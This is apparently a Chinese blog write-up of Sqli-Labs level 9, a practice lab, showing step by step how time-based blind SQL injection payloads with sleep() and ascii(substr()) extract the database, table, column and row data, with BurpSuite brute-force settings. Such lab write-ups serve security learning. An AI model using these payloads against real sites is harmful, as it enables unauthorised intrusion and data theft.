打靶Sqli-Labs记录--09关

149 阅读3分钟

一.前置知识

自学web安全day08--SQL注入--(基础03)布尔盲注与时间盲注 - 掘金 (juejin.cn)

二.打靶过程

进入靶场

image.png

1.判断是否存在SQL注入漏洞

示例1:?id=1,显示以下界面,说明能交互,存在SQL注入漏洞

image.png

2.判断是哪种SQL注入类型

示例1:?id=1 and 1=1

示例2:?id=1 and 1=2

示例3:?id=1asd'23%

三种示例结果一样,说明无论输入什么,正确还是错误都只返回一种界面,说明是时间盲注

image.png

接下来利用sleep函数判断其是数字型还是字符型注入

示例4:?id=1 and sleep(5) 结果无反应

示例5:?id=1' and sleep(5)%23结果等待了5s

image.png

由示例4和示例5可知,SQL注入类型为字符型注入,且闭合方式是单引号

3.获取数据库长度

示例:?id=1' and if(length(database())=8,sleep(5),1)%23

image.png

说明数据库长度为8

4.逐字猜解数据库名

示例:?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)%23

利用BurpSuite进行爆破,payload设置如下

image.png

payload1:表示这是数据库名的第几个位置,范围1~8

image.png

payload2:表示该位置字符对应的ascii值为多少,范围32~126

image.png

进行ClusterBoob攻击,结果需要打开具体响应时间设置

image.png

结果如下

说明数据库名称为:115(s)+101(e)+99(c)+117(u)+114(r)+105(i)+116(t)+121(y),即为security

image.png

5.猜解表名数量

示例:?id=1' and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(3),1)%23

说明该数据库有4张表

image.png

6.猜解某个表名长度

示例:?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),1)%23

说明该数据库第1张表的表名长度为6,payload位置在limit后面的0上和数字6上

7.逐字猜解表名

示例:?id=1'and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101,sleep(3),1)%23

可以得到第一个字母为101(e),后续进行爆破即可得到第1张表表名为emails,其它表也是如此

8.猜解列名数量

  • 已知:数据库名为"security"
  • 已知:数据库的第一章表名为"emails"

示例:?id=1'and if((select count(column_name) from information_schema.columns where table_name='emails'and table_schema='security')=2,sleep(3),1)%23

image.png

可知该emails表有2个字段,其他表的字段数量只需要在上一步得到表名,然后再把email换成该表名即可

9.猜解某个列名长度

示例:?id=1'and if(length((select column_name from information_schema.columns where table_name='emails'and table_schema='security'limit 0,1))=2,sleep(3),1)%23

image.png

可知该emails表的第一个字段长为2

10.逐字猜解列名

示例:?id=1'and if(ascii(substr((select column_name from information_schema.columns where table_name='emails'and table_schema='security'limit 0,1),1,1))=105,sleep(3),1)%23

可知该emails标的第一个字段名的第1个字符为105(i),BurpSuite对指定位置爆破即可获得该字段名为id

11.猜解数据数量

  • 已知:字段名为id

示例:?id=1'and if((select count(id) from emails where database()='security' )=8,sleep(3),1)%23

说明id的数据数量共有8个

12.猜解某条数据长度

示例:?id=1'and if((select length(id) from emails where database()='security' limit 0,1)=1,sleep(3),1)%23

说明id的第1个数据长度为1,其他也可依次爆破出来

13.逐位猜解数据

示例:?id=1'and if(ascii( substr( (select id from emails where database()='security'limit 0,1),1,1) )=49,sleep(3),1)%23

说明id的第1个数据的第1个字符为1,同理其他数据也可以依次爆破出来